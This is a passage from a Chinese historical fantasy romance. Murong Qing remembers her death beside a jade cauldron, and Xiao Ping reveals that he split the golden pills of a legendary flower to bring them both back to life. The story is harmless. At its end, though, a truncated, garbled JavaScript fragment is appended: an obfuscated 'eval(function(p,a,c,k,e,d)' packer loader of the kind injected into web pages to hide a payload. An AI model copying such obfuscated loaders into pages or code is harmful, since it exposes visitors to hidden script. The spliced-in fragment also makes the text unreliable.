那是几片偌大的莲叶。它们盈盈浮于鼎中,青绿欲滴,几乎完全遮蔽了水面,看起来并没有什么特别。
而她上一次来时,这叶莲之上,却盛放着金色的花朵。
那是两朵金色的四瓣花。它们似纯金锻造,全然不类草木所生。
若非亲眼所见,她亦难以相信。
双花同株,并蒂而开,乾坤逆转,起死回生——是为仙草“两生花”。
彼时七窍流血的慕容青用尽最后一丝力气摘下它们,那花瓣转瞬间向中心收拢,凝结成两颗金色的圆珠。她拖着回光返照的残躯强撑到这一步,已是油尽灯枯,堪堪将其中一颗塞到公主的嘴里,还没来得及送入另一颗,便颓然倒下。
彼时她以为她的不甘、憎恨、怒火和爱会让自己死不瞑目,必然能坚持到最后,但事实是死亡突如其来,她根本未及反应。
上一刻,她的手指还碾过对方带血的唇瓣,下一刻,所有的一切都归于虚无。
功败垂成,一如那数百年的谋划,一如她自己。
“为什么会这样?”
她回望,而肖平正站在她身后。
“你都想起来了。”不是猜测,而是肯定,肖平静静地凝视着她。
“是啊,我记得就在这里。”慕容青走向鼎旁,随意地抬脚拨弄,花丛中零星散落着生锈的短箭。“那时情急,为了拔剑扒了你的衣裳,才确定你一直都在伪装。”
“既然如此,”肖平低声问,“为什么还要救我?”
“难道你以为我从来都不曾怀疑吗。论作伪,我又怎么会输给你。”慕容青展颜一笑,“你我各有苦衷,彼此彼此,又何须计较太多,不是吗?”
“是。”肖平点头,眸中的一抹亮色驱散了些许面上的苍白。
“你呢,什么时候知道我的身份?”
“从一开始。”
“为什么?”慕容青诧异,她以为自己的男装扮相该是天衣无缝。
“宫中赐下的合卺酒含有烈性的春欢散,对男子有奇效。”肖平解释起昔年旧事,眼含笑意,“而你一人喝空整壶,却全然无事。”
“……”
难怪当年凤冠霞帔的“公主”鹌鹑似的不出声,就端坐在床沿看好戏,慕容青白眼道:“你倒是心大,若你‘嫁’的是我兄长,怕不是当晚就得死一个。”
肖平没有作答,面上笑意却是淡了。
慕容青亦无声轻叹,建极帝存的可不就是那样的心思吗?要么宁平公主受尽折磨苟活下来,成为他的眼线,要么干脆被盛怒的慕容将军凌虐致死,那么他便可名正言顺,彻底铲除慕容氏。
只不过他并不知道,那人从不是他手中软弱可欺的棋子。
“后来,到底发生了什么?”慕容青再次问,她最后的记忆,停留在倒地身亡。
肖平并没有直接回答她的问题,而是望向那尊碧鼎。
“我少时在云天观修习,曾见过一个古老的抄本。观中师长曾言,那是太祖皇帝从海外仙山带回来的残卷。上书文字,与这鼎上铭文如出一辙。”
慕容青心头微动:“你看得懂铭文?”
“过于晦涩,难以尽识。”肖平顿了顿,转过头来看她,“但关于两生花的部分,我看懂了。”
他念道:“历三百载天地酝养,夺尽造化之功。精粹尽归一身者,可逆转生死轮常,超脱寿元桎梏。”
慕容青呼吸一滞,没有说话。
谷中极静,只有远处瀑布永恒不休的轰鸣隐隐传来。
“若非我身负必死之伤却未死,我定然不信。”肖平垂眸,低声回忆道:“我醒来时,你就在我身侧,七窍流血,气息全无。”
“我探你心脉,起伏几不可察。”
“而你手中,仍握着另一颗金丹。”肖平抬眸,神色坦然,“铭文只记载了‘同服长生’,并没写分食会如何。所以,我便赌了一次。”
接下来发生的事,他不说慕容青也明白了。
感觉心口像被什么东西猝然撞了一下,她听见自己问:“你就不怕鸡飞蛋打,你我共赴黄泉?”
“难道,”她声音有些发紧,“你就没有想过,自己窥破生死,得证不朽?”
“想过。”半晌,肖平才平静地说:“但我别无选择。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=f